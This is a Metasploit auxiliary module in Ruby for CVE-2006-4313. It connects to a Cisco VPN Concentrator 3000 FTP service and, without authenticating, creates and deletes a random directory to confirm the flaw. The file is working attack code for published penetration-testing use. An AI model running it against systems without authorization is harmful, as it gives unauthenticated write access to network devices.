root / modules / auxiliary / admin / cisco / vpn_3000_ftp_bypass.rb @ master
History | View | Annotate | Download (2.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Auxiliary |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::Tcp |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access', |
| 23 |
'Description' => %q{ |
| 24 |
This module tests for a logic vulnerability in the Cisco VPN Concentrator |
| 25 |
3000 series. It is possible to execute some FTP statements without authentication |
| 26 |
(CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs |
| 27 |
when working with CWD commands. This module simply creates an arbitrary directory, |
| 28 |
verifies that the directory has been created, then deletes it and verifies deletion |
| 29 |
to confirm the bug. |
| 30 |
},
|
| 31 |
'Author' => [ 'patrick' ], |
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
[ 'BID', '19680' ], |
| 37 |
[ 'CVE', '2006-4313' ], |
| 38 |
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20060823-vpn3k.shtml' ], |
| 39 |
[ 'OSVDB', '28139' ], |
| 40 |
[ 'OSVDB', '28138' ], |
| 41 |
], |
| 42 |
'DisclosureDate' => 'Aug 23 2006')) |
| 43 |
|
| 44 |
register_options( |
| 45 |
[ |
| 46 |
Opt::RPORT(21), |
| 47 |
], self.class)
|
| 48 |
end
|
| 49 |
|
| 50 |
def run |
| 51 |
connect |
| 52 |
res = sock.get_once |
| 53 |
if (res =~ /220 Session will be terminated after/) |
| 54 |
print_status("Target appears to be a Cisco VPN Concentrator 3000 series.")
|
| 55 |
|
| 56 |
test = Rex::Text.rand_text_alphanumeric(8) |
| 57 |
|
| 58 |
print_status("Attempting to create directory: MKD #{test}")
|
| 59 |
sock.put("MKD #{test}\r\n")
|
| 60 |
res = sock.get(-1,5) |
| 61 |
|
| 62 |
if (res =~/257 MKD command successful\./) |
| 63 |
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
|
| 64 |
sock.put("SIZE #{test}\r\n")
|
| 65 |
res = sock.get(-1,5) |
| 66 |
if (res =~ /550 Not a regular file/) |
| 67 |
print_status("\tServer reports \"not a regular file\". Directory verified.")
|
| 68 |
print_status("\tAttempting to delete directory: RMD #{test}")
|
| 69 |
sock.put("RMD #{test}\r\n")
|
| 70 |
res = sock.get(-1,5) |
| 71 |
if (res =~ /250 RMD command successful./) |
| 72 |
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
|
| 73 |
sock.put("SIZE #{test}\r\n")
|
| 74 |
res = sock.get(-1,5) |
| 75 |
print_status("\tDirectory #{test} no longer exists!")
|
| 76 |
print_status("Target is confirmed as vulnerable!")
|
| 77 |
end
|
| 78 |
end
|
| 79 |
end
|
| 80 |
else
|
| 81 |
print_status("Target is either not Cisco or the target has been patched.")
|
| 82 |
end
|
| 83 |
disconnect |
| 84 |
end
|
| 85 |
end
|